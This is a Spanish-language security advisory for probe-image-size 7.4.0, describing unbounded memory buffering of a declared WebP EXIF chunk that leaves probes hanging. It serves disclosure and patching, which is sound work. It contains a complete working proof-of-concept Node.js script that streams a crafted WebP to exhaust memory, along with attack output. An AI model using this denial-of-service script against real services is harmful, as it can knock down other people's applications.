GHSA-5V8X-RM7W-M4C7
El analizador de flujo WebP de probe-image-size almacena en búfer un fragmento EXIF declarado por el atacante sin límite
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-5V8X-RM7W-M4C7 divulgada · CVSS 3.7 (GitHub) | |
| Remediación | Parche 7.5.0 | probe-image-size · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Presentado aquí a petición del mantenedor, en respuesta a nuestro correo del 2026-10-21: un reporte de GitHub por cada problema. Este es uno de cuatro reportes separados a partir de ese correo, y se sostiene por sí solo.
Encontrado con AploSec, nuestro escáner de seguridad, y confirmado mediante ejecución.
## Resumen
En las rutas de flujo y de URL, un archivo WebP que declara un fragmento EXIF de longitud 0xFFFFFFF0 hace que el analizador almacene en búfer cada byte que recibe mientras espera ese fragmento, y la sonda nunca se resuelve. En la prueba, al enviar 1.500 MB se obtuvieron 1.564 MB de memoria residente.
## Versiones afectadas
- probe-image-size 7.4.0 (última de npm, publicada el 2026-08-15). El HEAD de la rama principal 64565c3c ("7.4.0 released") es idéntico a la versión publicada y, a 2026-10-22, sigue siendo el commit y la versión más recientes.
## Detalles
`lib/parse_stream/webp.js:91` (`parseExif`). Después del encabezado `VP8X`, el analizador lee el fragmento `EXIF` con `parser._bytes(length)`, donde `length` es el tamaño de 32 bits tomado del archivo. No hay límite superior, por lo que el analizador de flujo acumula datos hasta que llegan esa cantidad de bytes. `probe.sync` no se ve afectado, porque trabaja con un búfer que el llamador ya tiene.
Modelo de atacante: remoto y sin autenticación. El atacante controla el flujo de la imagen; lo más realista es servirlo desde una URL que el objetivo pasa a `probe(url)`.
## Prueba de concepto
`poc4.js` (`node poc4.js attack 1500` o `node poc4.js control 1`):
// unbounded buffering of declared EXIF chunk (webp). arg: attack|control, MB to send
const { PassThrough } = require('stream'); const probe = require('probe-image-size')
const mode = process.argv[2], MB = +process.argv[3]
const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32LE(n >>> 0); return b }
const vp8x = Buffer.concat([Buffer.from('VP8X'), u32(10), Buffer.from([8, 0, 0, 0, 9, 0, 0, 9, 0, 0])]) // 10x10 + EXIF flag
const declared = mode === 'attack' ? 0xFFFFFFF0 : 64
const head = Buffer.concat([Buffer.from('RIFF'), u32(0xFFFFFFF0), Buffer.from('WEBP'), vp8x, Buffer.from('EXIF'), u32(declared)])
const ps = new PassThrough(); let sent = 0, done = false
probe(ps).then(r => { done = true; console.log('RESOLVED', JSON.stringify(r)) }, e => { done = true; console.log('REJECTED', e.message) })
ps.write(head)
const mb = () => (process.memoryUsage().rss / 1048576).toFixed(0)
const t = setInterval(() => {
if (done || sent >= MB) { clearInterval(t); console.log(`${mode}: sent=${sent}MB rss=${mb()}MB resolved=${done}`); process.exit(0) }
ps.write(Buffer.alloc(1 << 20, 0x41)); sent++
}, 0)Entorno de prueba: Docker `node:22-slim` (Node 22.23.4), `npm i probe-image-size@7.4.0` (y 7.3.0 en `./old` donde se indica), ejecutado con `docker run --rm --network none`.
Control: el mismo flujo con una longitud EXIF declarada de 64 se resuelve de inmediato con el tamaño correcto, con la memoria estable:
RESOLVED {"width":10,"height":10,"type":"webp","mime":"image/webp","wUnits":"px","hUnits":"px"}
control: sent=1MB rss=57MB resolved=trueAtaque:
attack: sent=1500MB rss=1564MB resolved=false## Impacto
Bajo. La memoria crece uno a uno con los bytes que el atacante realmente envía, así que no hay amplificación. Pero la sonda nunca se resuelve ni se rechaza por sí misma, y la biblioteca, por lo demás, lee solo un encabezado pequeño; por eso los llamadores no esperan que retenga cientos de megabytes. En la ruta de URL, el tiempo de espera de lectura se basa en la inactividad, por lo que un servidor que sigue enviando datos nunca es cortado. El atacante realista es un servidor HTTP malicioso detrás de una URL que se pide al objetivo que sondee (vistas previas de enlaces, campos de URL de avatar o imagen). Varias de estas conexiones pueden agotar la memoria del proceso.
## Solución sugerida
Rechazar u omitir los fragmentos EXIF cuyo tamaño declarado supere un máximo razonable (por ejemplo, 64 KiB, ya que solo se necesita la etiqueta de orientación) antes de llamar a `parser._bytes(length)`.
Zachariah Mithani (zachariah@aplosai.com)
AploSec (aplosec.si)
Crédito: Zachariah Mithani (@zachariah-mithani, AploSec)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmprobe-image-size |
Corregida | 7.5.0 | 0 d | 7.5.0 no afectada |
7.5.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/nodeca/probe-image-size/security/advisories/GHSA-5v8x-rm7w-m4c7Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
